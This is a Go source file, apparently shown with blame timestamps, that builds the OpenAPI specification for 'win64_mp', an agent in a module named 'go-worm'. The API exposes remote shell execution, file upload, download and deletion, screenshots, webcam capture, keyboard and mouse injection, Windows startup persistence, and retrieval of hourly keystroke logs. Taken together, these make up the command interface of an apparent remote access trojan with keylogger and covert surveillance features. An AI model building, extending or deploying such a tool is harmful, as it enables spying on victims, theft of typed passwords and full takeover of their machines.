2026-08-28 13:23:41 +03:00
package openapi
import "tea.chunkbyte.com/kato/go-worm/lib/config"
func Spec () map [ string ] any {
ref := func ( name string ) map [ string ] string {
return map [ string ] string { "$ref" : "#/components/schemas/" + name }
}
jsonBody := func ( schema map [ string ] string ) map [ string ] any {
return map [ string ] any {
"required" : true ,
"content" : map [ string ] any {
"application/json" : map [ string ] any { "schema" : schema },
},
}
}
errResp := func ( desc string ) map [ string ] any {
return map [ string ] any { "description" : desc , "content" : map [ string ] any {
"application/json" : map [ string ] any { "schema" : ref ( "Error" )},
}}
}
okJSON := func ( desc string , schema map [ string ] string ) map [ string ] any {
return map [ string ] any { "description" : desc , "content" : map [ string ] any {
"application/json" : map [ string ] any { "schema" : schema },
}}
}
2026-08-29 18:15:46 +03:00
auth := func ( responses map [ string ] any ) map [ string ] any {
responses [ "401" ] = errResp ( "Unauthorized" )
return responses
}
2026-08-28 13:23:41 +03:00
return map [ string ] any {
"openapi" : "3.0.3" ,
"info" : map [ string ] any {
2026-08-28 13:30:12 +03:00
"title" : "win64_mp" ,
2026-08-29 18:15:46 +03:00
"description" : "HTTP API for win64_mp. Set AGENT_ADDR (default 0.0.0.0:5032) and optionally AGENT_FILE_ROOT to restrict file access. HTTP Basic auth required (except /openapi)." ,
2026-08-28 13:23:41 +03:00
"version" : config . Version ,
},
"servers" : [] map [ string ] any {
{ "url" : "http://127.0.0.1:5032" , "description" : "Default listen address (override host/port as needed)" },
},
2026-08-29 18:15:46 +03:00
"security" : [] map [ string ] any {{ "basicAuth" : [] string {}}},
2026-08-28 13:23:41 +03:00
"paths" : map [ string ] any {
"/health" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "Health check" ,
"operationId" : "health" ,
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Agent is running" , ref ( "Health" )),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/healthz" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "Health check alias" ,
"operationId" : "healthz" ,
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Agent is running" , ref ( "Health" )),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/status" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "Agent status" ,
"operationId" : "getStatus" ,
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Host and agent metadata" , ref ( "Status" )),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/files" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "List directory entries" ,
"operationId" : "listFiles" ,
"parameters" : [] map [ string ] any {
{ "name" : "path" , "in" : "query" , "schema" : map [ string ] string { "type" : "string" }, "description" : "Directory path; defaults to the current user's home directory" },
{ "name" : "depth" , "in" : "query" , "schema" : map [ string ] any { "type" : "integer" , "minimum" : 0 , "default" : 0 }, "description" : "Recursion depth (0 = immediate children only)" },
},
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Directory listing" , ref ( "FileList" )),
"400" : errResp ( "Invalid path or depth" ),
"403" : errResp ( "Path outside allowed root" ),
"404" : errResp ( "Path not found" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
"delete" : map [ string ] any {
"summary" : "Delete a file or directory" ,
"operationId" : "deleteFile" ,
"parameters" : [] map [ string ] any {
{ "name" : "path" , "in" : "query" , "required" : true , "schema" : map [ string ] string { "type" : "string" }},
},
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Deleted" , ref ( "OkPath" )),
"400" : errResp ( "Invalid path" ),
"403" : errResp ( "Path outside allowed root" ),
"404" : errResp ( "Path not found" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/download" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "Download a file" ,
"operationId" : "downloadFile" ,
"parameters" : [] map [ string ] any {
{ "name" : "path" , "in" : "query" , "required" : true , "schema" : map [ string ] string { "type" : "string" }},
},
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : map [ string ] any { "description" : "File bytes" , "content" : map [ string ] any { "application/octet-stream" : map [ string ] any { "schema" : map [ string ] string { "type" : "string" , "format" : "binary" }}}},
"400" : errResp ( "Invalid path or directory" ),
"403" : errResp ( "Path outside allowed root" ),
"404" : errResp ( "File not found" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/upload" : map [ string ] any {
"post" : map [ string ] any {
"summary" : "Upload a file" ,
"operationId" : "uploadFile" ,
"requestBody" : map [ string ] any {
"required" : true ,
"content" : map [ string ] any {
"multipart/form-data" : map [ string ] any {
"schema" : map [ string ] any {
"type" : "object" ,
"required" : [] string { "path" , "file" },
"properties" : map [ string ] any {
"path" : map [ string ] string { "type" : "string" , "description" : "Destination directory" },
"file" : map [ string ] string { "type" : "string" , "format" : "binary" },
},
},
},
},
},
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Uploaded" , ref ( "UploadResult" )),
"400" : errResp ( "Invalid path or body" ),
"403" : errResp ( "Path outside allowed root" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/screenshot" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "Capture a monitor" ,
"operationId" : "screenshot" ,
"parameters" : [] map [ string ] any {
{ "name" : "format" , "in" : "query" , "schema" : map [ string ] any { "type" : "string" , "enum" : [] string { "png" , "jpeg" }, "default" : "png" }},
{ "name" : "quality" , "in" : "query" , "schema" : map [ string ] any { "type" : "integer" , "minimum" : 1 , "maximum" : 100 , "default" : 80 }, "description" : "JPEG quality only" },
{ "name" : "monitor" , "in" : "query" , "schema" : map [ string ] any { "type" : "integer" , "minimum" : 0 , "default" : 0 }},
},
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : map [ string ] any {
"description" : "Screenshot image" ,
"headers" : map [ string ] any {
"X-Monitor-Left" : map [ string ] any { "schema" : map [ string ] string { "type" : "integer" }},
"X-Monitor-Top" : map [ string ] any { "schema" : map [ string ] string { "type" : "integer" }},
"X-Monitor-Width" : map [ string ] any { "schema" : map [ string ] string { "type" : "integer" }},
"X-Monitor-Height" : map [ string ] any { "schema" : map [ string ] string { "type" : "integer" }},
},
"content" : map [ string ] any {
"image/png" : map [ string ] any { "schema" : map [ string ] string { "type" : "string" , "format" : "binary" }},
"image/jpeg" : map [ string ] any { "schema" : map [ string ] string { "type" : "string" , "format" : "binary" }},
},
},
"400" : errResp ( "Invalid parameters" ),
"503" : errResp ( "No interactive desktop available" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
2026-08-29 18:34:05 +03:00
"/api/v1/webcam" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "List webcams" ,
"operationId" : "listWebcams" ,
"responses" : auth ( map [ string ] any {
"200" : okJSON ( "Connected capture devices" , ref ( "WebcamList" )),
"503" : errResp ( "Webcam enumeration failed" ),
}),
},
},
"/api/v1/webcam/frame" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "Capture a webcam frame" ,
"operationId" : "webcamFrame" ,
"parameters" : [] map [ string ] any {
{ "name" : "device" , "in" : "query" , "schema" : map [ string ] any { "type" : "integer" , "minimum" : 0 , "default" : 0 }, "description" : "Device index from /api/v1/webcam" },
{ "name" : "format" , "in" : "query" , "schema" : map [ string ] any { "type" : "string" , "enum" : [] string { "png" , "jpeg" }, "default" : "jpeg" }},
{ "name" : "quality" , "in" : "query" , "schema" : map [ string ] any { "type" : "integer" , "minimum" : 1 , "maximum" : 100 , "default" : 80 }, "description" : "JPEG quality only" },
},
"responses" : auth ( map [ string ] any {
"200" : map [ string ] any {
"description" : "Webcam frame" ,
"headers" : map [ string ] any {
"X-Webcam-Width" : map [ string ] any { "schema" : map [ string ] string { "type" : "integer" }},
"X-Webcam-Height" : map [ string ] any { "schema" : map [ string ] string { "type" : "integer" }},
},
"content" : map [ string ] any {
"image/png" : map [ string ] any { "schema" : map [ string ] string { "type" : "string" , "format" : "binary" }},
"image/jpeg" : map [ string ] any { "schema" : map [ string ] string { "type" : "string" , "format" : "binary" }},
},
},
"400" : errResp ( "Invalid parameters or device" ),
"503" : errResp ( "Webcam capture failed" ),
}),
},
},
2026-08-28 13:23:41 +03:00
"/api/v1/exec" : map [ string ] any {
"post" : map [ string ] any {
"summary" : "Run a shell command" ,
"operationId" : "exec" ,
"requestBody" : jsonBody ( ref ( "ExecRequest" )),
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Command finished" , ref ( "ExecResponse" )),
"400" : errResp ( "Invalid command or timeout" ),
"504" : errResp ( "Command timed out" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/startup" : map [ string ] any {
"post" : map [ string ] any {
"summary" : "Add agent to Windows startup" ,
"operationId" : "enableStartup" ,
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Startup state" , ref ( "StartupState" )),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
"delete" : map [ string ] any {
"summary" : "Remove agent from Windows startup" ,
"operationId" : "disableStartup" ,
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Startup state" , ref ( "StartupState" )),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/input/click" : map [ string ] any {
"post" : map [ string ] any {
"summary" : "Click the desktop" ,
"operationId" : "click" ,
"requestBody" : jsonBody ( ref ( "ClickRequest" )),
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Clicked" , ref ( "ClickResult" )),
"400" : errResp ( "Invalid coordinates or button" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/input/key" : map [ string ] any {
"post" : map [ string ] any {
"summary" : "Send a key press" ,
"operationId" : "sendKey" ,
"requestBody" : jsonBody ( ref ( "KeyRequest" )),
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Key sent" , ref ( "KeyResult" )),
"400" : errResp ( "Invalid key or action" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/input/text" : map [ string ] any {
"post" : map [ string ] any {
"summary" : "Type text into the focused field" ,
"operationId" : "typeText" ,
"requestBody" : jsonBody ( ref ( "TextRequest" )),
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Text typed" , ref ( "TextResult" )),
"400" : errResp ( "Invalid or empty text" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/keylog" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "List keystroke log files" ,
"operationId" : "listKeylogs" ,
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : okJSON ( "Keystroke log index" , ref ( "KeylogList" )),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
"/api/v1/keylog/download" : map [ string ] any {
"get" : map [ string ] any {
"summary" : "Download a keystroke log file" ,
"operationId" : "downloadKeylog" ,
"parameters" : [] map [ string ] any {
{ "name" : "file" , "in" : "query" , "required" : true , "schema" : map [ string ] string { "type" : "string" }, "description" : "Hourly log filename, e.g. 2026-08-28-13.log" },
},
2026-08-29 18:15:46 +03:00
"responses" : auth ( map [ string ] any {
2026-08-28 13:23:41 +03:00
"200" : map [ string ] any { "description" : "Plain-text keystroke transcript" , "content" : map [ string ] any {
"text/plain" : map [ string ] any { "schema" : map [ string ] string { "type" : "string" }},
}},
"400" : errResp ( "Invalid filename" ),
"404" : errResp ( "Log file not found" ),
2026-08-29 18:15:46 +03:00
}),
2026-08-28 13:23:41 +03:00
},
},
},
"components" : map [ string ] any {
2026-08-29 18:15:46 +03:00
"securitySchemes" : map [ string ] any {
"basicAuth" : map [ string ] any { "type" : "http" , "scheme" : "basic" },
},
2026-08-28 13:23:41 +03:00
"schemas" : map [ string ] any {
"Error" : map [ string ] any {
"type" : "object" , "required" : [] string { "error" },
"properties" : map [ string ] any { "error" : map [ string ] string { "type" : "string" }},
},
"Health" : map [ string ] any {
"type" : "object" , "required" : [] string { "status" },
"properties" : map [ string ] any { "status" : map [ string ] string { "type" : "string" , "example" : "ok" }},
},
"Status" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"os" : map [ string ] string { "type" : "string" },
"architecture" : map [ string ] string { "type" : "string" },
"user" : map [ string ] string { "type" : "string" },
"hostname" : map [ string ] string { "type" : "string" },
"uptime_seconds" : map [ string ] any { "type" : "integer" , "format" : "int64" },
"local_ips" : map [ string ] any { "type" : "array" , "items" : map [ string ] string { "type" : "string" }},
"agent_version" : map [ string ] string { "type" : "string" },
"listen_address" : map [ string ] string { "type" : "string" },
"startup_enabled" : map [ string ] any { "type" : "boolean" },
},
},
"FileItem" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"name" : map [ string ] string { "type" : "string" },
"path" : map [ string ] string { "type" : "string" },
"type" : map [ string ] any { "type" : "string" , "enum" : [] string { "file" , "dir" }},
"size" : map [ string ] any { "type" : "integer" , "format" : "int64" },
"modified_time" : map [ string ] string { "type" : "string" , "format" : "date-time" },
},
},
"FileList" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"path" : map [ string ] string { "type" : "string" },
"depth" : map [ string ] any { "type" : "integer" },
"entries" : map [ string ] any { "type" : "array" , "items" : ref ( "FileItem" )},
},
},
"OkPath" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"ok" : map [ string ] any { "type" : "boolean" },
"path" : map [ string ] string { "type" : "string" },
},
},
"UploadResult" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"ok" : map [ string ] any { "type" : "boolean" },
"path" : map [ string ] string { "type" : "string" },
"size" : map [ string ] any { "type" : "integer" , "format" : "int64" },
"name" : map [ string ] string { "type" : "string" },
},
},
"ExecRequest" : map [ string ] any {
"type" : "object" , "required" : [] string { "command" },
"properties" : map [ string ] any {
"command" : map [ string ] string { "type" : "string" , "example" : "ipconfig /all" },
"timeout_sec" : map [ string ] any { "type" : "integer" , "minimum" : 0 , "maximum" : 120 , "default" : 30 },
},
},
"ExecResponse" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"exit_code" : map [ string ] any { "type" : "integer" },
"stdout" : map [ string ] string { "type" : "string" },
"stderr" : map [ string ] string { "type" : "string" },
},
},
"StartupState" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any { "startup_enabled" : map [ string ] any { "type" : "boolean" }},
},
"ClickRequest" : map [ string ] any {
"type" : "object" , "required" : [] string { "x" , "y" , "button" },
"properties" : map [ string ] any {
"x" : map [ string ] any { "type" : "integer" , "description" : "Absolute screen X coordinate" },
"y" : map [ string ] any { "type" : "integer" , "description" : "Absolute screen Y coordinate" },
"button" : map [ string ] any { "type" : "string" , "enum" : [] string { "left" , "right" , "middle" }},
"monitor" : map [ string ] any { "type" : "integer" , "minimum" : 0 , "default" : 0 },
},
},
"ClickResult" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"ok" : map [ string ] any { "type" : "boolean" },
"x" : map [ string ] any { "type" : "integer" },
"y" : map [ string ] any { "type" : "integer" },
},
},
"KeyRequest" : map [ string ] any {
"type" : "object" , "required" : [] string { "key" },
"properties" : map [ string ] any {
"key" : map [ string ] string { "type" : "string" , "example" : "a" , "description" : "Key name: letter, digit, enter, f1, etc." },
"action" : map [ string ] any {
"type" : "string" , "enum" : [] string { "tap" , "down" , "up" }, "default" : "tap" ,
},
"modifiers" : map [ string ] any {
"type" : "array" ,
"items" : map [ string ] any {
"type" : "string" , "enum" : [] string { "ctrl" , "alt" , "shift" , "win" },
},
},
},
},
"KeyResult" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"ok" : map [ string ] any { "type" : "boolean" },
"key" : map [ string ] string { "type" : "string" },
"action" : map [ string ] string { "type" : "string" },
},
},
"TextRequest" : map [ string ] any {
"type" : "object" , "required" : [] string { "text" },
"properties" : map [ string ] any {
"text" : map [ string ] any { "type" : "string" , "maxLength" : 4096 },
"delay_ms" : map [ string ] any { "type" : "integer" , "minimum" : 0 , "maximum" : 200 },
},
},
"TextResult" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"ok" : map [ string ] any { "type" : "boolean" },
"length" : map [ string ] any { "type" : "integer" },
"delay_ms" : map [ string ] any { "type" : "integer" },
},
},
"KeylogFile" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"name" : map [ string ] string { "type" : "string" },
"size" : map [ string ] any { "type" : "integer" , "format" : "int64" },
"modified_time" : map [ string ] string { "type" : "string" , "format" : "date-time" },
},
},
"KeylogList" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"directory" : map [ string ] string { "type" : "string" },
"files" : map [ string ] any { "type" : "array" , "items" : ref ( "KeylogFile" )},
},
},
2026-08-29 18:34:05 +03:00
"WebcamDevice" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"index" : map [ string ] any { "type" : "integer" },
"name" : map [ string ] string { "type" : "string" },
"version" : map [ string ] string { "type" : "string" },
},
},
"WebcamList" : map [ string ] any {
"type" : "object" ,
"properties" : map [ string ] any {
"devices" : map [ string ] any { "type" : "array" , "items" : ref ( "WebcamDevice" )},
},
},
2026-08-28 13:23:41 +03:00
},
},
}
}